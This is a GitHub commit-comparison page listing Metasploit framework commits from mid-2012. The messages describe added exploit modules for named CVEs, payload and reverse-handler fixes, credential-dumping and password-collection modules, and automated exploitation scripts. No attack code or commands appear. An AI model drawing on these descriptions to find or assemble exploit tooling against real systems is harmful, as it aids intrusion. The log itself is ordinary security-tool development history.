Compare commits

...

1908 Commits

Author SHA1 Message Date
HD Moore b3eb7b1358 Clean up unicode names 2012-07-17 00:46:28 -05:00
HD Moore c887e0aaff Re-add AFP changes due to mangled merge 2012-07-17 00:42:49 -05:00
HD Moore b6d05c77ca No, really. Bump 2012-07-17 00:36:19 -05:00
HD Moore f62e0b1cca AFP fixes and JTR typo fix 2012-07-16 21:45:45 -05:00
HD Moore 7e50f91d59 Bump 2012-07-16 21:02:40 -05:00
HD Moore bc2edeace2 Cleanup AFP module output 2012-07-16 21:02:40 -05:00
James Lee 926fd0c6e8 Merge the commandline options with the payload's datastore
Not sure why this wasn't happening before. Some output formats were
passing options to Msf::Simple::Payload#generate_simple, some weren't.
This probably fixes several latent bugs.

[FIXRM #7109]
2012-07-16 16:07:54 -05:00
HD Moore 428a98c1d1 Dont store files in /tmp with predictable names 2012-07-16 09:53:19 -05:00
HD Moore 8fef1479ed Trim string fields at first null 2012-07-15 23:12:40 -05:00
HD Moore a57e712630 Be less verbose 2012-07-15 22:19:12 -05:00
HD Moore b133428bc1 Better error handling in two web app modules 2012-07-15 21:56:00 -05:00
HD Moore 10db74d480 Show the IP address in the output 2012-07-15 21:35:43 -05:00
HD Moore 7f3aeca501 Put lipstick on this pig for the time being 2012-07-15 21:35:29 -05:00
HD Moore 4509c11916 Fingerprint dd-wrt even when auth is required 2012-07-15 21:21:13 -05:00
HD Moore 6c058d9a9a Skip blank usernames (corner case) 2012-07-15 21:14:55 -05:00
HD Moore f111ae097e Bail early if the user did not configure an injection parameter 2012-07-15 21:14:39 -05:00
HD Moore 44e56c87f1 Make super sure that blank creds are not reported 2012-07-15 20:56:31 -05:00
HD Moore 0230ef60f6 Cosmetic 2012-07-15 15:46:54 -05:00
HD Moore d6c6a3d0c5 Correct an issue with payload recalc during iteration 2012-07-15 15:45:25 -05:00
jvazquez-r7 8cf08c6ca3 Target W7 updated 2012-07-15 17:45:58 +02:00
sinn3r e1ff6b0cef Nicer cleanup 2012-07-14 17:57:32 -05:00
jvazquez-r7 bdf009d7a8 Review of pull request #606 2012-07-15 00:20:12 +02:00
HD Moore 6cdd044e10 Remove a buggy payload that doesn't have NX support 2012-07-12 12:15:57 -05:00
jvazquez-r7 2da984d700 Added module for OSVDB 83275 2012-07-12 13:12:31 +02:00
jvazquez-r7 6c8ee443c8 datastore cleanup according to sinn3r 2012-07-12 09:31:22 +02:00
jvazquez-r7 65d15df9f9 Merge branch 'jboss-revision' of https://github.com/h0ng10/metasploit-framework into h0ng10-jboss-revision 2012-07-12 09:25:37 +02:00
jvazquez-r7 b12f13f837 Review of Pull request #594 2012-07-12 00:46:24 +02:00
jvazquez-r7 16cd847e5a Merge branch 'mssql_review' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-mssql_review 2012-07-12 00:36:54 +02:00
jvazquez-r7 a840ff8cf8 Review of pull request #598 2012-07-12 00:34:17 +02:00
jvazquez-r7 f933d98d38 Review of #595 2012-07-12 00:19:27 +02:00
h0ng10 87f5002516 added datastore cleanup 2012-07-11 12:56:23 -04:00
h0ng10 0d38a7e45f switched to Rex::Text.encode_base64() 2012-07-11 12:52:09 -04:00
HD Moore 2254086dbe Replace event handler with a straightforward filter 2012-07-11 03:00:44 -05:00
HD Moore eb8aa566b0 Merge pull request #597 from LittleLightLittleFire/cve-1723-typo-fix
Fix typo in Stefan's last name (for cve-2012-1723)
2012-07-11 00:24:23 -07:00
HD Moore 975d8004d3 Remove protected operator, not useful 2012-07-11 02:08:56 -05:00
HD Moore 430351fe79 Better handle of module cache when db_connect is run manually 2012-07-10 23:56:48 -05:00
LittleLightLittleFire 32fa8bdfcf Fixed typo in Stefan's last name 2012-07-11 14:53:26 +10:00
HD Moore a7d1a61af2 Handle non-failure module exits as well 2012-07-10 19:55:43 -05:00
sinn3r 3d4449c1e7 Merge branch 'm-1-k-3-autoexploit' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-m-1-k-3-autoexploit 2012-07-10 16:11:46 -05:00
sinn3r ce107fbd6f Rewrite how each mode is handled 2012-07-10 16:06:07 -05:00
m-1-k-3 b449c0e21c new parameter 2012-07-10 20:04:03 +02:00
h0ng10 61ec07a10c additional targets, meterpreter, bugfixes 2012-07-10 13:33:28 -04:00
sinn3r 06974cbc43 This bug is now patched 2012-07-10 12:28:46 -05:00
jvazquez-r7 4af75ff7ed Added module for CVE-2011-4542 2012-07-10 18:40:18 +02:00
m-1-k-3 5b526de09d bla 2012-07-10 13:21:32 +02:00
sinn3r 6f97b330e7 Merge branch 'LittleLightLittleFire-module-cve-2012-1723' 2012-07-10 00:50:31 -05:00
sinn3r 5b7d1f17c0 Correct juan's name and comments 2012-07-10 00:43:46 -05:00
sinn3r 54576a9bbd Last touch-up
The contents of this pull request are very similar to what the msf
dev had in private, so everybody is credited for the effort.
2012-07-10 00:37:07 -05:00
sinn3r 64709be909 Merge branch 'module-cve-2012-1723' of https://github.com/LittleLightLittleFire/metasploit-framework into LittleLightLittleFire-module-cve-2012-1723 2012-07-10 00:27:36 -05:00
HD Moore c532d4307a Use the right failure reason 2012-07-10 00:26:14 -05:00
HD Moore 64e8956319 More small tweaks to import/export of attempts 2012-07-10 00:18:06 -05:00
HD Moore 25fee46020 Quick typo fix 2012-07-09 23:31:53 -05:00
LittleLightLittleFire 956ec9d1da added Makefile for CVE-2012-1723 2012-07-10 14:12:07 +10:00
HD Moore 6c977535d0 Fix up attempt/detail import/export structure 2012-07-09 22:47:05 -05:00
HD Moore bfde053cf4 Correct a flaw in vuln_attempt/vuln_detail import 2012-07-09 22:28:42 -05:00
LittleLightLittleFire e9ac90f7b0 added CVE-2012-1723 2012-07-10 12:20:37 +10:00
sinn3r b817070545 Merge branch 'mac_oui' of https://github.com/alexmaloteaux/metasploit-framework into alexmaloteaux-mac_oui 2012-07-09 20:14:25 -05:00
Alexandre Maloteaux e509c72574 better handle company name 2012-07-10 00:24:30 +01:00
Alexandre Maloteaux e949b8c2c8 mac_oui 2012-07-09 23:46:57 +01:00
HD Moore 52752d7685 Merge pull request #586 from mephos/proxy-reverse-tcp
allow reverse tcp with proxies
2012-07-09 14:11:54 -07:00
m m 36d27242c7 allow reverse tcp with proxies 2012-07-09 23:05:09 +02:00
sinn3r 074eac2800 Merge branch 'autoexploit_msfconsole_support' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-autoexploit_msfconsole_support 2012-07-09 15:14:39 -05:00
sinn3r 2693b224ee Update some comments 2012-07-09 14:06:29 -05:00
sinn3r 59e201ddec Correct help_me 2012-07-09 13:57:28 -05:00
sinn3r d6accef5e6 Allow datastore options plus other things
Here's a list of things that have changed:
* Allow datastore options as argumnets.
* Allow "dry-run" mode
* Cleaner way to initialize arguments
2012-07-09 13:48:02 -05:00
HD Moore c8c3c0e3e4 Correct an issue with HTTP response header parsing 2012-07-09 10:22:12 -07:00
sinn3r 81b4cb737d Merge branch 'zenworks_preboot_fileaccess' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-zenworks_preboot_fileaccess 2012-07-09 11:14:56 -05:00
jvazquez-r7 73fcf73419 Added module for CVE-2011-2657 2012-07-09 18:03:16 +02:00
jvazquez-r7 b33220bf90 Added module for CVE-2012-2215 2012-07-09 17:32:55 +02:00
sinn3r 0fbfa8e6f7 Merge branch 'enum_unattend_ii' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-enum_unattend_ii 2012-07-09 10:14:30 -05:00
sinn3r 5586aa6c1b Move some code around 2012-07-09 09:44:22 -05:00
sinn3r 5db26beef7 Add more features
Please see the following ticket:
http://dev.metasploit.com/redmine/issues/7041
2012-07-09 05:17:40 -05:00
sinn3r d626de66f7 Print out where the scheme info is stored.
This module needs to print out where the scheme is stored so the
user knows where it is, see complaint:
https://community.rapid7.com/message/4448
2012-07-08 18:24:18 -05:00
HD Moore 442eccd1d6 Merge pull request #578 from claudijd/master
Bug Fix to "Stamp Out" LM and NTLM Hash Corruption in Hashdump Code
2012-07-08 12:24:46 -07:00
Jonathan Claudius 5938771e6c Bug Fix to "Stamp Out" LM and NTLM Hash Corruption
-This commit Addresses Metasploit Bug #4402 that notes corrupted (aka:
incorrect) hashes yielded from hashdump
-Fail case can be reliably reproduced on a Windows system where (1) a
user is not storing an LM hash and (2) password histories are enabled
on the system
-This issue along with other extraction tools that are affected in a
similar way will be discussed at BlackHat USA 2012 and DEFCON 20 in 2
weeks.

If you have questions, please let us know.

-Jonathan Claudius (@claudijd)
-Ryan Reynolds (@reynoldsrb)
2012-07-08 14:02:22 -05:00
HD Moore a8266bd831 Fix up odd reference normalization cases 2012-07-08 11:25:32 -05:00
HD Moore f75edc0ca1 Correct fix for older PG support, thanks to Patrick Fitzgerald 2012-07-08 10:16:51 -05:00
HD Moore 75430a0b7e Cleanup to support v1.2 as well as 1.1 2012-07-08 01:53:32 -05:00
HD Moore 4199b67879 Prevent an exception from breaking the sql cache 2012-07-07 17:30:31 -05:00
HD Moore 1d5b7a1a69 Fix an issue with PG's handling of group by on distinct 2012-07-07 17:27:11 -05:00
HD Moore 881d0ff0c9 Add method to create an asset group 2012-07-07 17:27:11 -05:00
sinn3r 87bac91d71 Apply additional changes from #549
From pull request #549. Changes include:
* Use OptEnum to enforce the use of wpad.dat or proxy.pac
* Remove cli.peerhost:cli.peerport, the API does that already
* cleanup function to restore uripath datastore option
* More friendly error when the user doesn't have enough permission
  to bind to port 80, that way they don't blame it's a bug on msf.
* Remove unnecessary SVN stuff in modinfo
2012-07-07 15:59:16 -05:00
sinn3r 4e90da002d Merge branch 'master' of https://github.com/efraintorres/wmap-metasploit into wpad 2012-07-07 15:44:05 -05:00
HD Moore 24d6a85848 Merge pull request #575 from swtornio/tikiwiki
add osvdb ref
2012-07-07 11:10:44 -07:00
Steve Tornio 44290c2c89 add osvdb ref 2012-07-07 08:40:25 -05:00
Tod Beardsley 33bf2881cc Removing cached gem for journey. 2012-07-06 22:12:50 -05:00
Tod Beardsley 505b97b470 Adding new gem versions
Add the new gems referenced in the last commit for real.
2012-07-06 22:11:16 -05:00
Tod Beardsley 63e41ee6bb Updating gems: coderay, journey, spork, sprockets 2012-07-06 22:03:33 -05:00
Tod Beardsley 3dba8273c9 Adding journey-1.0.4. 2012-07-06 17:33:16 -05:00
sinn3r 3f58aff979 Properly handle a no-payload-selected scenario 2012-07-06 16:32:18 -05:00
sinn3r 08c6b94460 Merge branch 'auto_exploit' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-auto_exploit 2012-07-06 16:24:32 -05:00
sinn3r d859059868 Remove a whitespace 2012-07-06 16:20:17 -05:00
sinn3r 4f9028f7f9 Change description a little bit 2012-07-06 16:18:14 -05:00
sinn3r 9aeb4694f7 Add autoexploit.rc based on #561
Modified from #561.  It has gone through a lot of changes, including:

* It now relies mainly on arguments instead of datastore options.
  This is because when an user uses datadatore options, the rc
  script cannot really start automatically without some config
  in advance, which is a hassle.
* We no longer have to manually connect to a database before being
  able to use the rc script.  It can automtaically connect to it
  if the necessary arguments are supplied (user/pass/workspace)
* Better error handling
* Actually exits msfconsole when something fails or not ready
* The older script does not select a payload. This one will
  automatically select one based on compatible payloads.
* Instead of manually specifying an "identifier" for reference
  matching, this is now automatic.
* Lots of cleanup
* Update help_me
2012-07-06 15:02:28 -05:00
sinn3r 70c718a5ed Fix indent level 2012-07-06 12:44:03 -05:00
sinn3r 24c57b61a8 Add juan as an author too for improving the module a lot 2012-07-06 10:41:06 -05:00
sinn3r 757d15619f Merge branch 'umbraco_upload_aspx_rev' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-umbraco_upload_aspx_rev 2012-07-06 10:39:09 -05:00
tdoan-r7 db0ab45333 updated release number to 4.3
<test commit>
2012-07-06 10:21:00 -05:00
jvazquez-r7 9fecc80459 User of TARGETURI plus improve of description 2012-07-06 15:47:25 +02:00
jvazquez-r7 7751c54a52 references updates 2012-07-06 11:56:03 +02:00
jvazquez-r7 f8ca5b4234 Revision of pull request #562 2012-07-06 11:52:43 +02:00
sinn3r 1e6c4301b6 We worked on it, so we got credit 2012-07-06 02:12:10 -05:00
sinn3r f8123ef316 Add a "#" in the end after the payload 2012-07-06 02:09:31 -05:00
sinn3r 187731f2cb Add a check function to detect the vuln 2012-07-06 01:58:01 -05:00
sinn3r dcddc712d2 Missing a "&" 2012-07-06 01:50:18 -05:00
sinn3r 3c8a836091 Add lcashdol's module from #568
Initial version being worked on by sinn3r & juan
2012-07-06 01:41:34 -05:00
sinn3r ecb4e20c92 Instead of deleting the "/", here's a different approach 2012-07-06 01:23:41 -05:00
sinn3r 7876d7fd60 Delete the extra "/" 2012-07-06 01:20:31 -05:00
sinn3r 686f176a99 Correct path 2012-07-06 01:12:47 -05:00
sinn3r 0c18662d46 Make msftidy happy and change the traversal option 2012-07-06 01:10:39 -05:00
sinn3r 3b7e1cd73a Add Dillion's module for Wangkongbao 2012-07-06 00:54:55 -05:00
jcran 8d3ad94f3a enhanced tftp.txt bruteforce list 2012-07-05 22:54:22 -04:00
HD Moore b102d869d7 Switch module search to the SQL backend. Fixes #565 2012-07-05 19:34:05 -07:00
sinn3r 6dee4781df Merge branch 'armitage' of https://github.com/rsmudge/metasploit-framework into rsmudge-armitage 2012-07-05 18:47:07 -05:00
tdoan-r7 153521d558 replaced old msf user docs with latest 2012-07-05 17:42:55 -05:00
tdoan-r7 b44632f51d Revert "replaced old msf docs with latest"
This reverts commit 0485fcc7aa.
2012-07-05 17:41:30 -05:00
tdoan-r7 0485fcc7aa replaced old msf docs with latest 2012-07-05 17:33:13 -05:00
Raphael Mudge 6c53dffa50 Armitage 07.05.12
This release fixes a few small bugs.
2012-07-05 18:19:59 -04:00
sinn3r 260cea934d Add more reference 2012-07-05 16:48:43 -05:00
sinn3r 850242e733 Remove the extra comma and a tab char 2012-07-05 14:05:23 -05:00
jvazquez-r7 aee7d1a966 Added module for CVE-2012-0911 2012-07-05 20:58:27 +02:00
jvazquez-r7 df550bd066 Merge branch 'poisonivy_bof' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-poisonivy_bof 2012-07-05 00:20:22 +02:00
jvazquez-r7 ff4a0bc3aa poisonivy_bof description updated 2012-07-05 00:18:13 +02:00
jvazquez-r7 8bdf3b56f5 tries updated 2012-07-04 15:48:32 +02:00
jvazquez-r7 d8a5af7084 last changes done by gal, added RANDHEADER to single_exploit 2012-07-04 15:25:12 +02:00
jvazquez-r7 644d5029d5 add bruteforce target as optional 2012-07-04 13:02:47 +02:00
jvazquez-r7 7214a6c969 check function updated 2012-07-04 12:16:30 +02:00
jvazquez-r7 c531bd264b brute force version of the exploit 2012-07-04 11:37:36 +02:00
jvazquez-r7 da2105787d no rop versio of the exploit, metadata used, check and description fixed 2012-07-04 10:54:35 +02:00
HD Moore d266dc6031 Revert what looks like an errant debug mode 2012-07-03 20:32:19 -05:00
HD Moore 64364e3f16 Handle failed reloads in a nicer way 2012-07-03 19:49:44 -05:00
jvazquez-r7 8bcc0ba440 Review of pull request #559 2012-07-03 23:49:47 +02:00
jvazquez-r7 600ca5b1dd Added module for CVE-2012-0708 2012-07-03 19:03:58 +02:00
sinn3r 7cfb7c1915 Update description 2012-07-03 10:26:02 -05:00
sinn3r 77d6fe16f0 Merge branch 'Winlog-CVE-resource' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-Winlog-CVE-resource 2012-07-02 16:04:02 -05:00
sinn3r 7262faac57 Correct a typo 2012-07-02 16:02:14 -05:00
sinn3r fa0422c88a Must respect the PlainText field to extract password info properly 2012-07-02 15:56:25 -05:00
sinn3r e2a2789f78 Support Ruby 1.8 syntax. Thanks M M. 2012-07-02 14:15:14 -05:00
m-1-k-3 e06ca8e654 Winlog-CVE-resource 2012-07-02 20:33:15 +02:00
HD Moore 97854c4521 Merge pull request #556 from stephenfewer/master
ReflectiveLoader x64 compiler optimization edge case
2012-07-02 10:57:38 -07:00
Stephen Fewer df7a093eb8 force the eip() function to never be inlined under x64 in order to avoid an error being introduced when some unexpected compiler flags are being used. Now the compiler flags used (/O1, /O2, ...) shouldnt pose any problem 2012-07-02 17:40:57 +01:00
jvazquez-r7 9d49052c52 hp_dataprotector_new_folder: added support for hpdp 6 2012-07-02 18:32:19 +02:00
efraintorres 4c68cdd584 Actions removed. 2012-07-02 10:57:32 -05:00
HD Moore 3bb7405b09 Only report auth if the username is not blank 2012-07-02 04:11:29 -05:00
HD Moore 4f9106b2e5 Reverse this back now that the bins are updated 2012-07-02 00:02:21 -05:00
HD Moore c31f70cfb6 Switch to METERPRETER_UA as intended 2012-07-02 00:02:47 -05:00
sinn3r d7d21f1bda Merge branch 'patch-3' of https://github.com/mubix/metasploit-framework into mubix-patch-3 2012-07-01 19:42:49 -05:00
Rob Fuller 7298840478 Fix match on User-Agent for HTTPS 2012-07-01 21:32:29 -03:00
Rob Fuller 58dd2af998 Fix match on User-Agent for HTTP 2012-07-01 21:30:31 -03:00
sinn3r 1b02f17d52 Shamelessly add my name too, because I made a lot of changes. 2012-07-01 19:23:34 -05:00
sinn3r c04cdfd517 Merge branch 'post_shell_setup' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-post_shell_setup 2012-07-01 19:22:31 -05:00
sinn3r e1c43c31bd Title change 2012-07-01 16:43:25 -05:00
sinn3r 326230b34b Don't need to print the xml path twice 2012-07-01 13:58:04 -05:00
sinn3r fcf5e02708 Be aware of bad XML format 2012-07-01 13:50:43 -05:00
sinn3r ac52b0cc9f Filter out 'AdministratorPassword' and 'Password' 2012-07-01 13:45:12 -05:00
HD Moore 1c3b94d98c Merge pull request #552 from sempervictus/rev_http_handler_fix
Fix up rev_http handler
2012-07-01 10:18:53 -07:00
RageLtMan 18e8285322 Fix up rev_http handler 2012-07-01 10:46:13 -04:00
sinn3r 61983b21b9 Add documentation about unattend.xml's specs 2012-07-01 04:15:11 -05:00
sinn3r bf03995e30 Add veritysr's unattend.xml collector. See #548. 2012-07-01 04:08:18 -05:00
HD Moore 12a6d67be4 Add support for user-agent and server control 2012-06-30 21:01:08 -07:00
HD Moore 27bdf78a5a Add support for user-agent control 2012-06-30 23:00:08 -05:00
efraintorres be666fde89 Full msftidy compliant 2012-06-30 22:08:10 -05:00
efraintorres cad749d495 More formatting. 2012-06-30 21:21:56 -05:00
efraintorres 22b47e32fe Fixed wrapping of module description 2012-06-30 21:12:01 -05:00
efraintorres f8aacc3482 All fixes applied to wpad module. 2012-06-30 20:57:59 -05:00
sinn3r a3d74f5b10 Correct dead milw0rm references 2012-06-30 16:50:04 -05:00
sinn3r 2874768539 Also add juan as author. And links to the vulnerable setup. 2012-06-30 13:12:13 -05:00
jvazquez-r7 5dbfb7b9aa last cleanup 2012-06-30 14:18:25 +02:00
jvazquez-r7 19d476122b versions affected corrected 2012-06-29 20:23:17 +02:00
jvazquez-r7 533111c6da irfanview_jpeg2000_bof: review of pull req #543 2012-06-29 20:13:02 +02:00
sinn3r 196e1b7f70 Update title & description to match what ZDI has.
ZDI publishes a new advisory that's closer to what we actually
see in a debugger. So we update the reference, as well as the
description + title to better match up theirs.
2012-06-29 11:10:28 -05:00
sinn3r 19b6ebbfbf Merge branch 'apple_quicktime_texml_zdi' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-apple_quicktime_texml_zdi 2012-06-29 10:59:11 -05:00
sinn3r 0e87238e58 Space space 2012-06-29 10:56:12 -05:00
sinn3r c656b26d50 Merge branch 'hpdp_new_folder_bof' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-hpdp_new_folder_bof 2012-06-29 10:53:01 -05:00
jvazquez-r7 c79312547a Added module for CVE-2012-0124 2012-06-29 17:50:21 +02:00
HD Moore 9204a5b124 Move the db skip into the "web" console driver. FIXRM #7031 2012-06-29 10:46:15 -05:00
jvazquez-r7 5efb459616 updated zdi reference 2012-06-29 16:36:11 +02:00
HD Moore eb762b3653 Back out encoding change of empty string, done by comment 2012-06-29 01:07:58 -05:00
HD Moore 1627720166 Skip module loads/db connect for existing framework sessions 2012-06-29 01:03:13 -05:00
HD Moore d656e3185f Mark all libraries as defaulting to 8-bit strings 2012-06-29 00:18:28 -05:00
HD Moore c45b1037f1 Make sure entries are 8-bit 2012-06-28 23:31:26 -05:00
sinn3r e5dd6fc672 Update milw0rm references.
milw0rm.com is long gone, so all milw0rm references are just
a bunch of broken links.  Change to exploit-db instead.
2012-06-28 14:27:12 -05:00
sinn3r e37a71192d Make msftidy happy 2012-06-28 12:10:38 -05:00
sinn3r d5ca1b2c0c Merge branch 'tcpnetstat' of https://github.com/mubix/metasploit-framework into mubix-tcpnetstat 2012-06-28 12:09:53 -05:00
sinn3r d0df1853d5 Merge branch 'reload_modules_fix' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-reload_modules_fix 2012-06-28 12:07:07 -05:00
Rob Fuller 77326edc45 fixed tcpnetstat table displaying 2012-06-28 12:56:29 -04:00
sinn3r 0e55141fd9 Rename counts to count 2012-06-28 11:43:33 -05:00
Tod Beardsley 414214eb9d Permissions. 2012-06-28 11:42:37 -05:00
sinn3r 5092152949 Fix the broken reload_modules method
When using the reload_all command, the framework will trigger an
'undefined method module_history' error, because we're missing
an accessor.

Also, even though reload_modules returns "counts". That actually
returns a hash instead of a real count of modules... the return
value is also never actually used anywhere.  But to make this
part not broken, we return the actual count.
2012-06-28 11:39:14 -05:00
Rob Fuller 6f37ccbcae tcp netstat post module via railgun 2012-06-28 09:17:05 -04:00
sinn3r 7c9a8ba699 Add OSVDB reference 2012-06-28 02:09:12 -05:00
sinn3r cf9a6d58cc Update missing OSVDB ref 2012-06-28 00:44:01 -05:00
sinn3r f63a3959e0 Update web app module references 2012-06-28 00:37:37 -05:00
sinn3r 869aec5e3e Update CVE/OSVDB/Milw0rm references for browser modules 2012-06-28 00:26:20 -05:00
sinn3r 7dcdd205bb Update CVEs for fileformat exploits 2012-06-28 00:21:03 -05:00
sinn3r b83c02d8e3 Update CVE reference 2012-06-28 00:06:41 -05:00
sinn3r d85ce8db5c Update CVEs for HTTP exploits 2012-06-28 00:00:53 -05:00
sinn3r e8102284ff Add missing CVEs for misc exploit modules 2012-06-27 22:17:34 -05:00
sinn3r f5faccfa07 Add missing CVEs for SCADA modules 2012-06-27 22:10:24 -05:00
sinn3r 7c258d7aa9 Merge branch 'jvazquez-r7-atlassian_crowd' 2012-06-27 17:12:00 -05:00
sinn3r 68c582873b Add the MSF license text 2012-06-27 17:11:00 -05:00
sinn3r 6c80fd9b42 Merge branch 'atlassian_crowd' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-atlassian_crowd 2012-06-27 17:09:25 -05:00
sinn3r e605a35433 Make sure the check func is always returning the same data type 2012-06-27 17:07:55 -05:00
sinn3r cb1af5ab79 Final cleanup 2012-06-27 16:57:04 -05:00
jvazquez-r7 d3bc78c53b applied changes proposed by sinn3r 2012-06-27 23:55:51 +02:00
jvazquez-r7 73360dfae3 minor fixes 2012-06-27 23:38:52 +02:00
jvazquez-r7 38abeeb235 changes on openfire_auth_bypass 2012-06-27 23:16:07 +02:00
jvazquez-r7 245205c6c9 changes on openfire_auth_bypass 2012-06-27 23:15:40 +02:00
jvazquez-r7 6ec990ed85 Merge branch 'Openfire-auth-bypass' of https://github.com/h0ng10/metasploit-framework into h0ng10-Openfire-auth-bypass 2012-06-27 23:09:26 +02:00
sinn3r dc30a2dddb Merge branch 'atlassian_crowd' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-atlassian_crowd 2012-06-27 15:37:15 -05:00
sinn3r 2f733ff8b9 Add CVE-2012-0663 Apple QuickTime TeXML Exploit 2012-06-27 14:41:45 -05:00
Tod Beardsley 97974d9241 Shorten title for display 2012-06-27 10:19:46 -05:00
Tod Beardsley 94e28933c8 Whitespace fixes. msftidy.rb yall 2012-06-27 10:06:15 -05:00
jvazquez-r7 2c5cc697c9 Added auxiliary module for CVE-2012-2926 2012-06-27 10:21:18 +02:00
HD Moore 2dd51690c2 Add a missing require 2012-06-27 00:47:32 -05:00
sinn3r be2692a623 Merge branch 'pdf_parser_fix' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-pdf_parser_fix 2012-06-26 16:55:26 -05:00
James Lee 891400fdbb Array#select! is only in 1.9 2012-06-26 15:32:39 -06:00
sinn3r 9ea6d84a7a Make it clear the exploit doesn't like certain PDF formats
If the exploit cannot fetch certain xref fields, we warn the user
we don't like their PDF, and recommend them to try a different
one.
2012-06-26 16:32:10 -05:00
sinn3r 807142e988 'Size' may not exist in certain PDF structure.
This is a fix for issues related to:
'undefined method `[]' for nil:NilClass'

It is possible that a PDF may not have the 'Size' xref, and people
are running into the 'undefined method'[]' for NilClass' exception.
Because the pdf parser always assumes there is a Size field,
so it uses a match() function to find the value for Size, which
can be nil.

See the following bug report for example:
https://dev.metasploit.com/redmine/issues/7014
2012-06-26 16:09:13 -05:00
h0ng10 428ae21928 Changed readme.html file (was from the statistics plugin) 2012-06-26 12:03:52 -04:00
jvazquez-r7 89dc000ab8 msfvenom modified again to assure options normalization
opts[:platform] should always store a PlatformList. We think this fis is more reliable.
2012-06-26 18:00:16 +02:00
h0ng10 6cc8390da9 Module rewrite, included Java support, direct upload, plugin deletion 2012-06-26 11:56:44 -04:00
jvazquez-r7 cc90a60a1b Correct the use of the platform argument
The platform argument is meant to be a PlatformList object, not as an array:
http://dev.metasploit.com/redmine/issues/6826
This commit undoes the last change to init_platform() in alpha_mixed and modifies msfvenom to use it as intended.
2012-06-26 17:32:55 +02:00
sinn3r b966dda980 Update missing CVE reference 2012-06-26 01:26:09 -05:00
sinn3r 8f355554c8 Update missing CVE reference 2012-06-26 01:21:24 -05:00
sinn3r 0d7b6d4053 Update missing CVE reference 2012-06-26 01:20:28 -05:00
sinn3r c7935e0e99 Update OSVDB reference 2012-06-26 01:18:25 -05:00
sinn3r 9980c8f416 Add rh0's analysis 2012-06-25 21:32:45 -05:00
sinn3r 7698b2994d Correct OSVDB typo 2012-06-25 18:32:35 -05:00
James Lee b04170b283 Unbreak loadpath
HD's vuln-info merge broke add_module_path by removing an argument.
2012-06-25 16:37:16 -06:00
sinn3r 061a3ad0cf Merge branch 'jvazquez-r7-sugarcrm_unserialize_exec' 2012-06-25 17:29:05 -05:00
sinn3r 8927c8ae57 Make it more verbose, and do some exception handling for cleanup 2012-06-25 17:27:33 -05:00
sinn3r fef77bfd7f Merge branch 'sugarcrm_unserialize_exec' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-sugarcrm_unserialize_exec 2012-06-25 16:55:45 -05:00
jvazquez-r7 7b0f3383d2 delete default credentials 2012-06-25 23:53:56 +02:00
sinn3r 7f5687ef10 Merge branch 'sugarcrm_unserialize_exec' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-sugarcrm_unserialize_exec 2012-06-25 16:28:55 -05:00
jvazquez-r7 7dc1a572e5 trying to fix serialization issues 2012-06-25 23:25:38 +02:00
HD Moore 85faf53c5d Compromise on MDM counter cache initialization 2012-06-25 13:52:48 -07:00
HD Moore 13b4cb7e88 Revert "Remove reset_column_information (breaks badly)"
This reverts commit 02e124a330.
2012-06-25 13:52:48 -07:00
HD Moore fce5ff00ca Revert "Remove column reset - triggers issue with existing columns"
This reverts commit f479fae6aa.
2012-06-25 13:52:47 -07:00
sinn3r 063a2119a3 Merge branch 'iis_auth_bypass' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-iis_auth_bypass 2012-06-25 15:51:33 -05:00
sinn3r f93658b37a Minor name change 2012-06-25 15:51:02 -05:00
sinn3r 637edc21ce Add CVE-2010-2731 2012-06-25 15:48:36 -05:00
sinn3r 361ca2b4ae Merge branch 'php_reverse_tcp_fix' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-php_reverse_tcp_fix 2012-06-25 14:19:17 -05:00
HD Moore 4dbdadfa3d Merge pull request #523 from alexmaloteaux/fixmsfvenom
Fix msfvenom to correctly generate elf binaries for bsd and solaris platform
2012-06-25 11:55:49 -07:00
HD Moore f479fae6aa Remove column reset - triggers issue with existing columns 2012-06-25 10:20:48 -07:00
HD Moore 02e124a330 Remove reset_column_information (breaks badly) 2012-06-25 10:08:38 -07:00
jvazquez-r7 59bb9ac23b quoting ip to avoid php complaining 2012-06-25 18:52:26 +02:00
jvazquez-r7 4c453f9b87 Added module for CVE-2012-0694 2012-06-25 17:21:03 +02:00
HD Moore 4afc6d698d Merge/sync with mdm 2012-06-25 10:11:53 -05:00
HD Moore 807f7729f0 Merge branch 'master' into feature/vuln-info 2012-06-25 10:10:20 -05:00
Steve Tornio 5d2655b0ce add osvdb ref 2012-06-25 09:00:03 -05:00
HD Moore 3d0628debf Handle unreachable errors better 2012-06-25 03:29:30 -05:00
HD Moore 4c0877954e Rename migrations to avoid collisions during merge 2012-06-25 02:22:35 -05:00
HD Moore a393f8d62d Apply the console ID if specified 2012-06-25 01:37:38 -05:00
HD Moore 19c18a3e4e Record the device_id correctly in the nexpose raw import 2012-06-25 01:23:16 -05:00
HD Moore 584e0dbd98 Load console config AFTER module path initialization 2012-06-25 01:16:35 -05:00
HD Moore 38cc6571de Merge branch 'master' into feature/vuln-info 2012-06-25 01:03:52 -05:00
HD Moore aa0c6d7036 Better IE 9/10 coverage 2012-06-25 01:03:34 -05:00
HD Moore faf5adadd9 Merge branch 'master' into feature/vuln-info 2012-06-25 00:42:02 -05:00
HD Moore 4bd9b0c94a Quick typo fix 2012-06-25 00:41:45 -05:00
HD Moore 3a40dac7d1 Merge branch 'master' into feature/vuln-info 2012-06-25 00:37:01 -05:00
HD Moore f7dca272b6 IE 10/Win8 detection support 2012-06-25 00:36:49 -05:00
HD Moore 6a91626d94 Permissions 2012-06-25 00:36:39 -05:00
